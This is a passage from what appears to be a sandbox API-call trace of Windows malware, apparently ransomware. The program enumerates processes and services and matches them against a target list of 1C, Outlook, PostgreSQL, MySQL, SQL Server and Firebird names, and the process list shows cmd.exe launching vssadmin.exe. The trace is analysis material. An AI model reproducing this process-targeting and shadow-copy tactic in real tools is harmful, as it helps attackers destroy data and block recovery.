(lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0048.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0048.351] lstrlenW (lpString="Winmgmt") returned 7 [0048.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0048.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0048.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0048.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0048.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0048.351] lstrlenW (lpString="WPDBusEnum") returned 10 [0048.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.351] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0048.351] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0048.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0048.351] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x60eb98 | out: hHeap=0x510000) returned 1 [0048.351] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0048.357] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0048.358] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0048.358] lstrlenW (lpString="System") returned 6 [0048.358] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0048.358] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0048.358] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0048.358] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0048.358] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0048.358] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0048.358] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0048.358] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0048.358] lstrlenW (lpString="smss.exe") returned 8 [0048.359] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0048.359] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0048.359] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0048.359] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0048.359] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0048.359] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0048.359] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0048.359] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.359] lstrlenW (lpString="csrss.exe") returned 9 [0048.359] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0048.359] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0048.359] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0048.359] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0048.359] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0048.359] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0048.359] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0048.359] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0048.360] lstrlenW (lpString="wininit.exe") returned 11 [0048.360] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0048.360] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0048.360] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0048.360] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0048.360] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0048.360] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0048.360] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0048.360] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.360] lstrlenW (lpString="csrss.exe") returned 9 [0048.360] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0048.360] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0048.361] lstrlenW (lpString="winlogon.exe") returned 12 [0048.361] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0048.361] lstrlenW (lpString="services.exe") returned 12 [0048.361] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0048.361] lstrlenW (lpString="lsass.exe") returned 9 [0048.362] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0048.362] lstrlenW (lpString="lsm.exe") returned 7 [0048.362] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.362] lstrlenW (lpString="svchost.exe") returned 11 [0048.362] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.363] lstrlenW (lpString="svchost.exe") returned 11 [0048.363] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.363] lstrlenW (lpString="svchost.exe") returned 11 [0048.363] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.363] lstrlenW (lpString="svchost.exe") returned 11 [0048.363] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.364] lstrlenW (lpString="svchost.exe") returned 11 [0048.364] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0048.364] lstrlenW (lpString="audiodg.exe") returned 11 [0048.364] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.364] lstrlenW (lpString="svchost.exe") returned 11 [0048.364] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.365] lstrlenW (lpString="svchost.exe") returned 11 [0048.365] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0048.365] lstrlenW (lpString="dwm.exe") returned 7 [0048.365] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0048.365] lstrlenW (lpString="explorer.exe") returned 12 [0048.366] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0048.366] lstrlenW (lpString="spoolsv.exe") returned 11 [0048.366] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.366] lstrlenW (lpString="taskhost.exe") returned 12 [0048.366] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.367] lstrlenW (lpString="svchost.exe") returned 11 [0048.367] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0048.367] lstrlenW (lpString="taskeng.exe") returned 11 [0048.367] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.367] lstrlenW (lpString="taskhost.exe") returned 12 [0048.367] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0048.368] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0048.368] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0048.368] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0048.368] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0048.369] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0048.369] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0048.369] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0048.369] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0048.369] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0048.369] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0048.370] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0048.370] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0048.370] lstrlenW (lpString="toyota.exe") returned 10 [0048.370] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0048.370] lstrlenW (lpString="radiation.exe") returned 13 [0048.370] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0048.371] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0048.371] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0048.371] lstrlenW (lpString="ur illustration.exe") returned 19 [0048.371] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0048.371] lstrlenW (lpString="facing.exe") returned 10 [0048.371] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0048.372] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0048.372] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0048.372] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0048.372] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0048.372] lstrlenW (lpString="headline.exe") returned 12 [0048.372] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0048.373] lstrlenW (lpString="army_unsigned.exe") returned 17 [0048.373] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0048.373] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0048.373] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0048.374] lstrlenW (lpString="distribution-gif.exe") returned 20 [0048.374] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0048.374] lstrlenW (lpString="tribunal.exe") returned 12 [0048.374] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0048.374] lstrlenW (lpString="aafeof.exe") returned 10 [0048.374] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0048.375] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0048.375] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0048.375] lstrlenW (lpString="encryption.exe") returned 14 [0048.375] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.375] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0048.375] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0048.376] lstrlenW (lpString="1с_.exe") returned 7 [0048.376] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.376] lstrlenW (lpString="cmd.exe") returned 7 [0048.376] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.376] lstrlenW (lpString="conhost.exe") returned 11 [0048.376] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0048.377] lstrlenW (lpString="vssadmin.exe") returned 12 [0048.377] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0048.377] lstrlenW (lpString="VSSVC.exe") returned 9 [0048.377] Process32NextW (in: hSnapshot=0x1e0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0048.378] CloseHandle (hObject=0x1e0) returned 1 [0048.378] Sleep (dwMilliseconds=0x1f4) [0049.248] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58fec0 [0049.248] EnumServicesStatusExW (in: hSCManager=0x58fec0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0049.249] GetLastError () returned 0xea [0049.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x123e) returned 0x607b80 [0049.249] EnumServicesStatusExW (in: hSCManager=0x58fec0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x607b80, cbBufSize=0x123e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x607b80, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0049.250] CloseServiceHandle (hSCObject=0x58fec0) returned 1 [0049.250] lstrlenW (lpString="Appinfo") returned 7 [0049.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0049.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0049.250] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0049.250] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0049.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0049.250] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0049.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.250] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0049.250] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0049.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0049.250] lstrlenW (lpString="AudioSrv") returned 8 [0049.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0049.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0049.250] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0049.250] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0049.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0049.250] lstrlenW (lpString="BFE") returned 3 [0049.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0049.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0049.250] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0049.250] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0049.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 